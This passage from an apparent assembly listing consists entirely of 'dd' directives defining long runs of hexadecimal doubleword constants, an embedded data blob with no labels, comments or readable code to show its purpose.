27010828h, 4662187h, 64C537h dd 9F5C3E46h, 0C070D660h, 900FA317h, 0E3ED0D21h, 0C683486Ch dd 901AEAA0h, 78CB07C7h, 0EEA10D20h, 5F6F2182h, 40C3E863h dd 4CC01BE0h, 7AC3C800h, 5B8E9A35h, 0C926387Ch, 0F8CA00FAh dd 0BE489EBBh, 0FA0786A9h, 42B57982h, 9CC4B890h, 0CD143E85h dd 3EC3300h, 0D0C9E5D1h, 0F8C149h, 0CDB0209Dh, 0DEBFDEB7h dd 5082D4A8h, 0E2B19601h, 400105CEh, 702A5E70h, 68209C0Ah dd 0CC142487h, 80423810h, 0DE80987Fh, 0AA2082h, 6411C7B6h dd 58B8CBC0h, 0D8887900h, 7CCAD656h, 9A5D0083h, 0EB68AA0Ch dd 781C644Dh, 21401B99h, 71147315h, 0AF3A0036h, 7AA6CB51h dd 8D00E0E1h, 7C3C1BA3h, 0A24F60h, 9983FFC1h, 984680E6h dd 0D62AC0C4h, 86050A1h, 7FD200A0h, 60140DE6h, 0D90062E4h dd 5A9A4CF0h, 179BFAFh, 1D47BA16h, 61C5679Dh, 9BD0D8ECh dd 0FDD9CF07h, 0BFD05E92h, 6CC46h, 5D8AE655h, 6764FC52h dd 0AE296F00h, 800AA75Bh, 9DF00F2Ch, 0D6E0F45Ah, 2E514440h dd 0B528BC07h, 91C0423Fh, 7D73DB6h, 14C15967h, 102504Eh dd 1203DFA2h, 3D032E93h, 0F54D0021h, 4305C81h, 8E3B0B60h dd 961D1C61h, 2B469800h, 1F84BE1Fh, 4057ACEBh, 18ABF258h dd 36001E9Fh, 9AE33C88h, 17C510B3h, 34B911h, 0EA9C71ECh dd 621EA930h, 19C05A04h, 43CFBA9Bh, 94D70086h, 0ECD1B978h dd 1E01A19Ch, 0E9DD1642h, 47D05A7Eh, 2BAD0015h, 41743ABh dd 0A1173850h, 409F5B7h, 53A90077h, 7B9DD68h, 7AD2B209h dd 2E3C22CCh, 0B301448h, 30EF4AE0h, 400068ACh, 0F1E0DEF6h dd 0B2C8229Fh, 361C0C34h, 5FF8DFFDh, 63CBF509h, 68918C68h dd 2B9F00E8h, 76D7299h, 60E23845h, 1A824C04h, 0C9094928h dd 0B5B14481h, 0EF045080h, 94269EB2h, 3B3201h, 0CFC78EB3h dd 3F5C50Fh, 767A97F7h, 88AE8D62h, 61C83600h, 8B6766D3h dd 0BC94BDh, 0E32E5A25h, 0D900D6F8h, 3E27B02Ah, 0BA0D30Ah dd 3466ACDAh, 35251600h, 8F0293D8h, 94C62FCh, 61C4053h dd 375800FEh, 729D19ACh, 343C305Eh, 0B0B200D2h, 6EE1A0AAh dd 0EE0D0098h, 0E8468FD3h, 410F8E3Ah, 8D5B91h, 8B65FECFh dd 0BDF600E0h, 0C40B85AAh, 78282F59h, 0D1FE804Eh, 0A6B0D502h dd 68442801h, 7DF6DE8h, 7FD4C54Eh, 0F9A3F0DBh, 0D71C2BE0h dd 53C0D17Ah, 0EF71F4CAh, 3B94706Dh, 0E707B608h, 0C074A7BBh dd 0CD09DCB3h, 42756E00h, 0E2A8BA6Dh, 8E93004Eh, 0F01715CAh dd 2A281218h, 0B80BF8A3h, 80BBD06Ch, 1130A10h, 5AC50F7Fh dd 8929AF35h, 0E0620CC1h, 0D83D9F31h, 369C0072h, 2D569CBh dd 4EE300BCh, 952F860Eh, 16612DB2h, 4815D7E8h, 5B848700h dd 27681203h, 908B0DB5h, 5C85AE6Fh, 0F6003704h, 171D637Ah dd 0E413E915h, 0F401E7D0h, 4CA209B1h, 1568EF8h, 0F206BF9h dd 70554B9Fh, 800A338h, 0FB6ADB83h, 0E0D71E4h, 29DD6176h dd 1E99C040h, 0E8FD208Ah, 88BA8369h, 7096B504h, 54915F40h dd 9435F779h, 738BD8h, 316B56E7h, 14711732h, 0CD6AD900h dd 942AC42Dh, 3B2B004Bh, 31B688DBh, 133ED230h, 3AAD80DCh dd 1BDA062Fh, 0D933008Ch, 22B9E483h, 64008D95h, 0E3E2F9CCh dd 13AF43DEh, 9CB514h, 0A132115Dh, 0E3A3C98h, 0F77F8057h dd 0C17819C7h, 0B06A01A4h, 0E814A012h, 0FCB464F2h, 63055800h dd 0C78B3164h, 0F9CE3C89h, 0FD337300h, 3EC83F93h, 0B4BF0F01h dd 9DA472C6h, 725703D0h, 0D8E3005Fh, 33E8C4BBh, 87E20902h dd 0A7170C96h, 0B2992C00h, 3A974B14h, 0D60098EEh, 0EF3B7023h dd 6D003279h, 4A77DFB4h, 4CD1BCh, 0F1E3CAD0h, 3E4E0EABh dd 35AEFF03h, 83AF5996h, 0A32CA04Dh, 0CBCC00D1h, 8D483833h dd 0DD49465Ch, 74EC000Ch, 42AE47BFh, 3DC92B1h, 4A82D1BAh dd 10071B79h, 0ED0B516Ch, 0D2C56133h, 8040509Bh, 2DE62B0h dd 534385Ah, 3450AE26h, 0AFDD0700h, 0FB84CFF5h, 0BAC1E5Fh dd 4214C056h, 2A9FF86Ch, 7B1DB2E0h, 74008018h, 8EB1D27Eh dd 9EDF00EFh, 0E9AC8AD5h, 1C00AF60h, 4909A931h, 73B7E4A7h dd 152E3BF0h, 0C608BC00h, 76255D1Eh, 9EA4B18h, 3032288Ch dd 24380345h, 0AD00E2B8h, 882D9084h, 1DD8EA06h, 8081E38Fh dd 0DD4C498Ch, 0FC00D3E1h, 0D155B525h, 3DE8BA01h, 0D80B91Ch dd 0DCBBE981h, 0D4006B59h, 0DD2678FBh, 0DA949Fh, 9BAB9CC8h dd 4B92813Eh, 0F5CBA03h, 0A7788FF7h, 0DFE6D30h, 918300F5h dd 0C82E59BFh, 0E5725803h, 0AF471A0Fh, 0BD08C140h, 84C48071h dd 0FBD82493h, 40701D83h, 2DBE34C2h, 8D005D0Bh, 8A0C64EEh dd 0DA3AA6h, 3FDC5E33h, 9A2210C9h, 79664600h, 0CE822F4Ch dd 36E41Fh, 35C559B9h, 17D95FBEh, 9013AB00h, 7D866629h dd 14DB03FBh, 4A5BE1C9h, 18998D8h, 38AE800h, 1EA75AEAh dd 0DF96007Eh, 0E0780EEDh, 663DBDCEh, 0EFA6D04Eh, 0B5380D98h dd 50CA8037h, 67E1628Dh, 30F303DEh, 18FBF25Eh, 409FD1A3h dd 3892DCD2h, 0DBCBEA00h, 62EFCD39h, 0BB120BDAh, 9300E9B6h dd 0DE4D490Bh, 21D5DF00h, 0FECDF2A9h, 55560562h, 0C0D7894Ah dd 8BAFA53Fh, 0B5FA100h, 0C7A7207h, 7B19012Ch, 2F762B0Fh dd 560AC8D3h, 0D1CD071h, 0C54D121h, 0DE50070Ch, 88C6FD2h dd 1F73F2F9h, 0B9645881h, 0F015E070h, 0D7880067h, 0A8B4781Ah dd 1D0EDBAEh, 0A1B64E6h, 1C061016h, 399B453h, 83A13335h dd 0FFA09BD8h, 18C7F986h, 0F0C02BC7h, 36FF7C8h, 1CE28B78h dd 2A00552Ah, 1DAC4197h, 3D18250h, 52E89E2Dh, 60017BC9h dd 0A54589Dh, 2AD17A1Ch, 0AF0050BEh, 5AB95F4Bh, 201DE75h dd 0F5FEA123h, 55C8F62Bh, 0BA1B1CAEh, 0DA5101B5h, 8C1521Fh dd 0D5230078h, 4FB74AF4h, 6F01C5E0h, 0BEB49AD6h, 43600D77h dd 0D0160041h, 0E0AEDDE8h, 310EF3E6h, 0EAC9D74h, 14940049h dd 0D9DAD8h, 0DFD6EE8Eh, 0CFDDAA23h, 2F68871Fh, 8610AB00h dd 0EDF980h, 8807C060h, 576B2297h, 8100F1F0h, 6FA9B96h dd 0FDE77F4h, 0E847BEA0h, 0AA8C00D7h, 0DCEFBA66h, 88641E00h dd 1A0AD083h, 0C79E0091h, 7BE24351h, 440A857Fh, 0C88FB8D3h dd 0BB4EA780h, 2B22F2Eh, 383F31D9h, 760F782h, 11005F41h dd 97177953h, 76ABCEh, 8A63A970h, 0F19F1430h, 4E00FBEAh dd 0E58616ECh, 6DFA40h, 92A90998h, 188E02CDh, 19EBB900h dd 0CAF7E70Bh, 98B60195h, 7B27EF81h, 7134C81Fh, 258E7E00h dd 0DCB17CC4h, 0CB480F99h, 0F28014h, 1A4CD8E0h, 0E6030AD1h dd 0A29AFA65h, 92B9D94Eh, 630EE138h, 409D896Fh, 0AE7D1554h dd 500B0CBh, 7F658B77h, 75F68Fh, 0D0F22E21h, 4C16E4EAh dd 0CEF1C000h, 0F44EBCC9h, 1205751Eh, 13A8561Ch, 275900A4h dd 23620CB3h, 5F00FDF0h dd 9A82EC40h, 0C6BDFEh, 0CF052F24h, 2CCB31F1h, 0FB15FA07h dd 6332DB9Eh, 0A5306042h, 0A1EA1698h, 0A9A8004Eh, 43EDF487h dd 0E6BB4000h, 80A8FF94h, 0A49FB81Ah, 0EE6E00D8h, 5EB550F3h dd 180A4B40h, 0A0E60C1Ah, 0F1D26341h, 6A66E080h, 0F99FBB9Bh dd 5E4CE31Eh, 20ABE005h, 0E2239C00h, 0C080ADA1h, 2C401359h dd 0BA0F60F6h, 0A3CD8319h, 0A072FA0Ch, 0EDC2C3h, 585BAB78h dd 848126E2h, 17246603h, 0A1BAE3A3h, 7B70DDE0h, 0AB1D00F8h dd 29D7FA4Ah, 0E9F45608h, 7C717900h, 2F17404Fh, 36D0102h dd 0B90BDC65h, 338ACC13h, 0E8225500h, 0D85F3BF7h, 0AA12035Dh dd 0DF24E049h, 3488A590h, 704E9600h, 4ACB6330h, 0A3B10C5Ch dd 9DF0CA15h, 14241D24h, 948C8F1Eh, 52190Ah, 0ED89F32Ah dd 50B5F0FDh, 37D6FC00h, 4E01914Bh, 7974B2h, 0E224FFC6h dd 0E7279CD3h, 0A13EF17Eh, 79090010h, 501A863Bh, 38AD0562h dd 5ED1ECD6h, 9149F9Ch, 807DD56Ah, 33045A81h, 57F00060h dd 0ACA1D711h, 0E7025E75h, 15F513E3h, 0F0FAE06Ch, 0C4F7019Ch dd 4DC1EA21h, 40C7FF04h, 0E6F3B666h, 1B615600h, 0C3E9F9CFh dd 0BCB10310h, 0BEB31125h, 12AF52C7h, 28877EE2h, 4A70F160h dd 0EB0CB9Bh, 38009199h, 89F121A6h, 2185176h, 6287066h dd 0B8846BBDh, 84818035h, 1602C92Dh, 1D963DD5h, 3634489Dh dd 20860EF7h, 0DB40D0F0h, 0DA588E83h, 6328DE03h, 88B70AC1h dd 7D9D74Bh, 7F694EB2h, 0F3F9302Bh, 3D98C7D4h, 3D08A22Eh dd 68BE7801h, 68303710h, 909B0FF6h, 3360FEBFh, 8F71E22Dh dd 18830748h, 7DD0ABD7h, 6F760747h, 50F6CA13h, 4FE11FB2h dd 6058990Eh, 0AA2E401Ch, 7EA5FEC6h, 28B47D70h, 26D474D5h dd 85ECD20Ch, 402ADC87h, 7B42B98h, 1EE2C27h, 835CD37h dd 6FD0F5E0h, 10400042h, 6355F851h, 0CD00962Fh, 21316EEBh dd 32A58AEh, 850AB6DBh, 0C0EF9D38h, 0D846CB81h, 93D75400h dd 3B803028h, 0D00B18ADh, 7B948DFBh, 0E3100D60h, 0EC195C3h dd 1211B332h, 3E210240h, 2E0003D8h, 4D64881Eh, 7DD07A0Ah dd 53D0A0DBh, 3AFF0092h, 0C2712D20h, 0A4002258h, 0CCE22623h dd 7BE67Eh, 0C678A3A2h, 0ACD46A03h, 0C00058F8h, 13CF5B79h dd 39F767F3h, 0A90054AFh, 52E47B71h, 45007D72h, 59606C44h dd 0D111B8h, 4F9BBBEDh, 0D99305A3h, 0C59E5302h, 8BCBAD85h dd 0EC7000A6h, 2499FA23h, 81A4E080h, 461EED87h, 0C9696020h dd 5D674207h, 60B0296Ch, 39C0325h, 455B17A9h, 0F1EF83A8h dd 80D146C9h, 92322254h, 377E93B0h, 47D84F1Fh, 6F5A308Eh dd 65022C85h, 2FF262A3h, 7AB2C1BEh, 78C436h, 49A6CDE9h dd 25EE41A8h, 0E474DC00h, 0FBEF3DBDh, 1DD092E8h, 40084F2Dh dd 14BC241Ah, 40017B2Ah, 9EDBA233h, 18606B6Eh, 76230E45h dd 0E8A278EEh, 92602B28h, 9A06F5D2h, 97722D6Ch, 7FA40228h dd 5216F7BEh, 275D0057h, 30EAA9D4h, 1A347442h, 0F90023CCh dd 0D9994358h, 73FFC7BAh, 4B1301E3h, 3B47A1D8h, 7E20744Ah dd 0F82800BDh, 2620F7D6h, 0C41DD3h, 9D889E94h, 73F45171h dd 0E136D17h, 46EBC700h, 73271497h, 0C6FA0AE2h, 0F8FF04h dd 562B48CCh, 3500E6A9h, 0D1DFE39Ch, 0E63F8D8h, 708F97E0h dd 195949E1h, 2611808Eh, 4836D33Bh, 0F15E4DBh, 2AD8DE4h dd 707B77C0h, 540071F5h, 6C1B8E74h, 0F4F4D907h, 0E6D8C04Eh dd 0F340389Eh, 220D1A00h, 0F2C734D4h, 0ED6900FDh, 0C82942FFh dd 0B100C0E1h, 7CD6635Bh, 18AE1C23h, 6AFA9856h, 0E470E0A8h dd 5FD1838h, 8A42594Fh, 32EF9FC0h, 62DD0064h, 0B212210Ah dd 7300F0A2h, 30070B2Fh, 0FCD71C9Fh, 0BD804CF8h, 0B5BF879h dd 64E25A3h, 812F6420h, 0A93F6AD1h, 8574BD56h, 1054E620h dd 1326ACC0h, 0D094A334h, 3CAD9A2Ch, 89BF4C3Fh, 949BF400h dd 148F7D56h, 6028FE01h, 0B5A4FCFh, 345B0880h, 0FB7DBE7Bh dd 0E5ECAAB8h, 39D9E00Fh, 0BDC01E91h, 0CEFF80F0h, 0F4953B62h dd 0FD2EA400h, 90D4F54Ah, 0A7A0E91Dh, 21DB5E0Fh, 573D56DAh dd 0D4C98689h, 753460A0h, 0ED1DF7CDh, 8441B992h, 81CE90F4h dd 199ADE8h, 85919A3Dh, 0D9A49B08h, 40A02C3Fh, 86FC220Ch dd 8326830h, 7064E1EEh, 22114A1Ch, 8E0074C8h, 10B02DBh dd 71D88DA1h, 25B5BC1Ch, 817F30A0h, 0A45E200h, 0BB45F59h dd 0F087865h, 2C589DD6h, 0A0894E80h, 2300FDD4h, 0D8153AF1h dd 0B5B1D698h, 9C3ED958h, 0AB03FC4Fh, 4EA01716h, 1C381455h dd 0F1434BAh, 64034C73h, 854B55C2h, 769C1101h, 4972D4C7h dd 15580AF8h, 942BF5E7h, 0DB815C01h, 0A0FD5A19h, 17405CD0h dd 590B1DB5h, 9500F87Fh, 5D405A4Ah, 110054D2h, 459F7B7Eh dd 12A3C721h, 8CE62B4Fh, 0B30085E0h, 0A10C828Dh, 1A537E5h dd 743DF4CEh, 0F008951Eh, 0F978544Bh, 9E9F2B00h, 0F6CEA2D5h dd 57050573h, 0C837E3A9h, 4A588DCh, 63170180h, 607F1B66h dd 9CBD199Ah, 6503AECAh, 1C2A55D2h, 9408303Ah, 0CA8B4021h dd 0BFABB200h, 0FD52451Fh, 5E9E6F4h, 10D78C02h, 94CB02DFh dd 0D480963Fh, 4AE628EBh, 4FC85512h, 0B45811h, 0FE2B34FBh dd 6E0374h, 0D6B8AA0Ah, 0AF120EF6h, 28A31B0Ch, 0A88203Eh dd 1AF78E5Bh, 971B7820h, 17D0048Ch, 80535AA4h, 56C5B386h dd 300FC878h, 7E7746D7h, 992A0306h, 335C7CB8h, 0FE1854EFh dd 8BE66020h, 612FB094h, 32733C55h, 0F0F8F940h, 9822F5h dd 0E8BD5437h, 0EDBA95Ah, 0DA4152B5h, 9221258Ch, 4EBD4C00h dd 0BF5523C0h, 0D5642AD0h, 0B67822D0h, 874A2C39h, 82768EB9h dd 53AB8D60h, 0E490C166h, 800A575Ch, 7FC001F0h, 191397E7h dd 90C92C75h, 0BDF019F7h, 885A6811h, 0EF9148h, 53BD4D97h dd 37DDF7Ah, 4302F730h, 6018DCFFh, 0A5A8C4EFh, 720E486h dd 141DE419h, 5B052E51h, 2294007Ah, 7E4FD7E3h, 288944h dd 0D8E9DBACh, 0F7BA15Bh, 5108EB63h, 762000D6h, 0F922DAE4h dd 0C501D248h, 0D91740F7h, 99A0D501h, 5A7B20C4h, 80A87F48h dd 3CF5E2Ch, 4D2E03FBh, 487A9284h, 610102EBh, 0D083D5F2h dd 84405C3Eh, 3DD3F51Bh, 0AC0C15CCh, 22498278h, 0E4E97507h dd 43D0400Ah, 2270BB6Fh, 1600D8EEh, 111BAC4Dh, 124ACF5Ch dd 0A2D6FBh, 4E37F510h, 47E05EFDh, 8079331Eh, 0E5E78982h dd 0C7A8487Eh, 75140111h, 810A745Fh, 82ADBE0h, 27009026h dd 8C701419h, 6EFB9B7h, 0E5C957FAh, 0B20021D9h, 0A47C5EC2h dd 28EAECFh, 3C84A619h, 5C40FD75h, 4804895Bh, 67BEE980h dd 3306DC82h, 65ADCAE0h, 8F22EA46h, 0CAF05F00h, 0B88A585Dh dd 78B8A8D3h, 0AFFC0017h, 1DAA081Ah, 0D770DB6Ch, 58CD5C04h dd 90958A0Bh, 0CF843008h, 5A14BDE1h, 88261849h, 0BD007096h dd 0A6D3012Ch, 0C51CDB3h, 0A8B60CA0h, 6409E450h, 381F43h dd 0AAC2E038h, 7E4118EBh, 3750B18Bh, 50E3A7Ch, 26642A77h dd 3AF02733h, 71836D0Eh, 5731E714h, 82B4C09Ch, 96065512h dd 3DF344AAh, 6BD0958h, 44893680h, 8F11741Dh, 9597AB80h dd 0E6126502h, 2441B7FEh, 2E185D47h, 0FB685880h, 74E08EA0h dd 4406890Ch, 5F6182Ch, 0F46ED877h, 461400C1h, 0C774E3C9h dd 2F485614h, 105234Ch, 65A0CAEAh, 80C033E2h, 19CAF15Eh dd 907E1E50h, 0D8F7C170h, 80DA55A6h, 29F47350h, 144AF6F8h dd 0B894FEDBh, 0DE05E453h, 0CEE74F4h, 0F5D18F90h, 32A05610h dd 6F93104Ch, 749380Ch dd 2FEF29C1h, 3854B9F0h, 0E85148DFh, 11686726h, 0A3640443h dd 56473F78h, 0D695C008h, 0FC1BDD7Dh, 0A0B8B2D2h, 0DC556B30h dd 0B4154540h, 1A50489Ah, 0A9CAE5C0h, 228A4665h, 8C5B00B3h dd 39587CCAh, 0C603A9A6h, 0E8560238h, 30F8763Ah, 67B0BD06h dd 568848B4h, 707A6861h, 0B24674D4h, 0C5969B00h, 0BE1BA701h dd 183A8F06h, 48608B5Bh, 0E5CE88A1h, 6AEC9036h, 4001578h dd 7FFAF986h, 159FB85h, 4917F67Ch, 34017B5Ch, 2754A758h dd 9B07B5D8h, 30B11710h, 0F20077B5h, 185056D1h, 8C124CEEh dd 4959851Dh, 789021B6h, 0E6607A05h, 0C3B0F5B1h, 3E84015Ch dd 0B5F15D32h, 6E05C044h, 72A98D02h, 6CE289F4h, 14E80478h dd 624C5F54h, 10202031h, 85010114h, 7EEC5B57h, 0A835F2DBh dd 507BD0C0h, 3787EC21h, 10C9D9B8h, 0A3B0290Dh, 35DDA502h dd 6156FCDAh, 0F202E644h, 0B770B84Ch, 81CD38h, 0D853B271h dd 586D02F5h, 24030018h, 6660A7A1h, 0EFDC60C5h, 6523AFCAh dd 108E113Ah, 3003F65Dh, 185A0D71h, 0D8808AE2h, 0E496034Ch dd 30D05C80h, 0F7C0476Fh, 0E618E119h, 32581310h, 0B17E3255h dd 0CFE01A51h, 78008670h, 1E59240Fh, 75DAC4h, 0DD2B94C1h dd 0D0A002B7h, 0C7AF3203h, 0E7E3E580h, 0B4406135h, 0A6534C90h dd 51483CE0h, 439F3780h, 6E1E46Eh, 0A0A0E3Ah, 0BCCEE5F7h dd 14269480h, 23A797h, 0CD7F10E0h, 40D15A16h, 570FE00h dd 877DF2C9h, 66D0181Fh, 2DA6960h, 0F2971094h, 1E056C81h dd 0DE7860ACh, 22118D09h, 36B4487Fh, 0B209005Fh, 494B441Dh dd 8A509EFBh, 1E50D0A8h, 0DB125644h, 144B82CAh, 0E4B404CDh dd 72141260h, 0B1C5F10h, 3E80DCC8h, 3FC9141Ah, 6D4F0FBEh dd 69E0DFE1h, 0A84E021Ch, 6F8CE49h, 0B680896Ch, 38E64660h dd 5F588814h, 4028C4ECh, 0E2141C34h, 3D233C5Dh, 680F5285h dd 37F84095h, 0E9B321D9h, 0DD0CDA15h, 0E6F70D88h, 0FE06155h dd 11B40017h, 0A17CF1D1h, 0BD630A76h, 0D2AB0229h, 98C6032h dd 0E748134Eh, 0DACC016Fh, 9E9C5935h, 71F77A28h, 0C35E6BF1h dd 7454C4h, 0F884BF73h, 944ABC5h, 0A0A56829h, 231832D1h dd 0BDCED200h, 6898557Ch, 0E339059Eh, 0CBF461FAh, 0C031C87Ch dd 7AF21D8Dh, 0FAB98260h, 0BAFEFBFh, 0E3F89548h, 0D4BA9700h dd 2948F330h, 76A200ACh, 0E0EA7C2Ah, 0FB0200D7h, 74C7523Ch dd 9B62508Dh, 616A0349h, 0E891E945h, 141F80E5h, 8C245F57h dd 5021C344h, 0C6F407h, 59336FFCh, 0F11D8F05h, 385C1338h dd 807D01CFh, 88D2FB56h, 5A4820h, 5219DE5Eh, 63CF35EFh dd 0F3E9BA00h, 5F3FC7FBh, 19D0FF53h, 1730135Ch, 0E51C0083h dd 9E8728F6h, 0DCFDEE2Eh, 0AFC04DEh, 4022B8A2h, 7B4AD5F4h dd 3C6900A0h, 530C5545h, 957E7A94h, 7CB8B401h, 0DA0FCFE7h dd 0FF7FA450h, 21BCB216h, 6C123CDCh, 557F3043h, 8D9B9Fh dd 97E96579h, 0F14E2675h, 0C6FF5900h, 5F31B8Ah, 644206AFh dd 48D690FBh, 328C1E50h, 58A4A8B0h, 0C01FE8C8h, 65AACAE8h dd 0E0BCF24Ch, 1CAF75Ch, 0FC1D04FFh, 28C9CB57h, 0D4218354h dd 3390C861h, 974303A5h, 0C2BD5D69h, 85A946C0h, 9255CD14h dd 0E97800F9h, 9E5C20C7h, 447100C6h, 0BB574E0Ch, 930210F2h dd 8AC299EBh, 0B459E04Ah, 0D19E424h, 641ABB6Dh, 0C178C820h dd 0AFDA2A00h, 4F20E671h, 13DE0076h, 0EDB19A41h, 3D13B69Dh dd 0DA00EB96h, 1725E9Eh, 0ED10126h, 14516C5Fh, 8044E57Eh dd 6B372938h, 58E56h, 20AE88EBh, 4894B964h, 29E3F318h dd 5827E60h, 0CD19F52Ah, 8BD307C9h, 93FF832Dh, 0DE899BCBh dd 3AA08C5Bh, 0B4595Ah, 0C0D1813Ch, 58CCF451h, 0B595A324h dd 0BFCE003Dh, 9FEE9B21h, 3ECD28DEh, 0DDBE3184h, 8023E771h dd 72F4F7D9h, 4CB1732Dh, 0B00C9BEh, 39292E1Eh, 24189E6Fh dd 4F7034D3h, 0B89BE810h, 5611C132h, 60D56858h, 523DCD96h dd 5F08E6F5h, 70340021h, 0CB919668h, 0F2001016h, 0A4CF97C1h dd 0C2423AE7h, 0FF83FBC9h, 1898D060h, 0F01F5231h, 0FA0063C2h dd 116FDDB5h, 56BB83C0h, 0A0181460h, 4A02908Fh, 0A81A0B32h dd 8031E761h, 0DA5B7628h, 5016D9CBh, 0CDEE4C1h, 752612BDh dd 2DECBE38h, 0A6C780A0h, 0E0A063EEh, 0BB00F9C6h, 0B971A27Dh dd 0D1ED418h, 4E126E65h, 0C7057B20h, 203C1C99h, 472469Ch dd 505256CDh, 6CB6C400h, 8E3A1D29h, 23E40E5h, 0C73C8C93h dd 0CC6173BDh, 42A3CFEDh, 9B20210Fh, 0DFFEC08Ch, 9AB3EFh dd 0CD21C223h, 6172A469h, 490E4F06h, 0F889E7h, 127DC4DEh dd 0E9BBB308h, 156C3000h, 0A3D68B7Fh, 898E0034h, 14B60C94h dd 0A60127BDh, 84DFA4A2h, 17FC3763h, 4DC848D1h, 9D858C07h dd 3CE0BEFEh, 0C5E08F5Eh, 326B1100h, 0F1096EECh, 798D0069h dd 85B597F2h, 0C800FE8Eh, 5048CDAEh, 0BC53BEh, 0E84F1ECFh dd 15905679h, 0A8CE2701h, 50C9E44Bh, 0FAB96D0h, 0F83283F7h dd 0F9D765A0h, 0A20030F4h, 1FA3D146h, 8456FFh, 7959AAEEh dd 61AB310Eh, 0FD4C4273h, 0B060346h, 0C22994h, 0F97FE450h dd 519CC10Dh, 4FE60916h, 1C320000h, 0D17B50h, 0FAF169ECh dd 18C352C5h, 0A76C6A12h, 0CBB70E00h, 0F551A2h, 24A1672Ah dd 19BA8647h, 5D01C0DCh, 4505085Fh, 0E48A0880h, 3114E039h dd 47BA912h, 47F07D00h, 7C61F772h, 0A4F78E6h, 59C56C8Fh dd 748280E8h, 40FE4D7Ah, 817DB00h, 0F5988FA2h, 0CF230051h dd 52A006BBh, 6F0071EBh, 0DA1892E5h, 1CA1B22h, 5615AF0Bh dd 0E06EC30Dh, 0F901F31Dh, 2B1A05BEh, 0A8244D20h, 56D40083h dd 0A00BEF11h, 0CE283DFDh, 3FF6049Fh, 0F805D001h, 17F9BEEDh dd 0A3826087h, 0ADBF167h, 0C4A23046h, 57A8A00h, 236949E3h dd 18A90044h, 6C91128h, 6807AB59h, 0CD72F3FAh, 5C7A5E00h dd 362200B7h, 0F6A070D8h, 777CD342h, 0E19E7B30h, 8FB416h dd 6014EA05h, 0D05F7D2Dh, 4C808400h, 0B4E42E35h, 0A0903D15h dd 9438F9E0h, 41C00CB9h, 0E1078664h, 5C6506BEh, 29363A02h dd 8A3F6490h, 0FE3D0161h, 0BCB77A99h, 34598440h, 88EF0069h dd 8B01267h, 0E6E48062h, 54156026h, 258A194h, 3871C9AAh dd 0A821E00Eh, 0AF2E5h, 0F1437E8Dh, 0B1CAFB2Ah, 4F013800h dd 7BDFFA49h, 24927A0Eh, 80440476h, 83E02754h, 0AA0009FDh dd 65596773h, 2631BBBDh, 80BC8F6Ah, 0A2D0B7C4h, 0E5009C0Ah dd 1FDC8279h, 0EF64589h, 0F5788846h, 720008D5h, 845947CFh dd 0EF006292h, 631C9DC7h, 0A0B55D45h, 5826E3F4h, 0C0191D7h dd 0A7EAA91Fh, 6E7670AFh, 1095D405h, 98415020h, 0A26725B7h dd 987F2080h, 3861870Eh, 0A8359630h, 0FCFF5FD6h, 49E4249Fh dd 71962Ch, 0B2E62F96h, 0AF0EDF90h, 9B6D8EE0h, 19F60069h dd 448B3F35h, 0E700FF16h, 2D7DB06Ah, 9E49EFh, 33760E73h dd 68750CCh, 91621630h, 54EFFBEAh, 0F2FF4B7h, 297E663h dd 5436DE80h, 0C3007C5Eh, 81B3713Ah, 5C106A4Fh, 730073A3h dd 0BC7F769Ch, 0D4C0F71Ah, 8F371496h, 0C523026Eh, 0A0DE620Dh dd 78C99060h, 98684801h, 5B8BCED9h, 21E19840h, 5EC60302h dd 0F220F957h, 8A2AA190h, 0A938CB00h, 66C5127Ah, 5C1D0747h dd 40864D7Dh, 8F9A8EE1h, 36BC80A0h, 4FFF00EBh, 5EDD00EDh dd 2ED3C1B6h, 87043562h, 84346DC0h, 3D80D887h, 7ED1AA4Ah dd 1107A95h, 8251683Ch, 6086BD44h, 50009368h, 0EA9ECB0Fh dd 30725D3Eh, 3980FF81h dd 362A9069h, 0C802CCC4h, 981E7F6Ah, 40C4A028h, 7125A56Dh dd 61040575h, 0C069DA50h, 0BE3516EFh, 7E2DEA00h, 0DC362827h dd 0D8C80047h, 25C051FCh, 0D5E27DFDh, 0E0199918h, 0C0C19170h dd 9D376C5Ah, 8F00FD24h, 0A9F12C18h, 0C130D8CAh, 0E9DAB329h dd 41D887B0h, 0EB607681h, 9E95C4h, 578ABFEEh, 0FA6C90EFh dd 9D035800h, 0F1E5E8B5h, 7361693h, 0BD6040E6h, 10B4926Bh dd 8A0A524h, 6C3A9880h, 0D2FB584Dh, 0EBCB0110h, 0C84F591Dh dd 540022EAh, 0CC40EF5Ah, 382B7BB6h, 0C989B1F1h, 30001D76h dd 0BA0643A2h, 0B8023CF2h, 33DE04C5h, 0FA006809h, 927DE660h dd 6350A88h, 3CACCBF6h, 0E4A60F04h, 8611A0DCh, 94123002h dd 439539E3h, 0A5CE8015h, 0EF510ED2h, 0F980D3C0h, 80FC2AFAh dd 0C8291300h, 0EC46219Ah, 149E4854h, 6ED31E00h, 98427627h dd 3100F8F8h, 20F70A7Fh, 2FD0E7h, 0E109B26Ah, 81B9A65Eh dd 0B128FD00h, 0DE9BE321h, 6C19077Dh, 0E72EF6AEh, 83EB409Ch dd 0C817F8A9h, 0B0F0BBCh, 0F92FA073h, 5CA55C08h, 7A00214Dh dd 0F67F3EEFh, 953AF419h, 568B00D6h, 0B25833E3h, 70A43CC6h dd 0FF005EBCh, 11E6AEAFh, 0A00EDA30h, 0C07DF6F2h, 2803A201h dd 0FEA700A9h, 0AB3410F9h, 8A00B99Bh, 5BC25F8h, 41A25Ch dd 91797E27h, 6FD7BAB4h, 0D4C4BD00h, 8838692Dh, 720D00CBh dd 0FBC72725h, 8F3EE79Bh, 0B6A280EEh, 5D2BE667h, 0CEBF5013h dd 35DD010Fh, 0C43ECCC0h, 29B1F858h, 0B36F1400h, 32DA3BFCh dd 20D949BEh, 60B82813h, 0E8E088ACh, 50D6FD02h, 0E06B1D16h dd 65A888h, 648F9CFCh, 19949BF9h, 900F77F2h, 2078701Dh dd 9A756718h, 5A0CA017h, 0A7D186Eh, 1A84086Ah, 0A1FF0D04h dd 2491728Ah, 0C287923h, 71FA0078h, 7325613Bh, 5A0A743Ah dd 10A3F5A9h, 0D5A1A80Ah, 3AC7DD1Ch, 2477D5C7h, 0B4CA0B40h dd 318BAEAh, 0F3530365h, 707CCD19h, 282026E8h, 0F822F04Dh dd 857305B7h, 0C7BF3112h, 2736802Dh, 1ECFD830h, 0A9F5E52Dh dd 0C3813C03h, 0C2B00A19h, 0E84A7Ah, 0AD8BF652h, 0E901C973h dd 214DF546h, 2CC01337h, 4A7200C4h, 5F98C297h, 8B25367h dd 0EAB8CC00h, 825263ACh, 55B74A0h, 0F5AD5A70h, 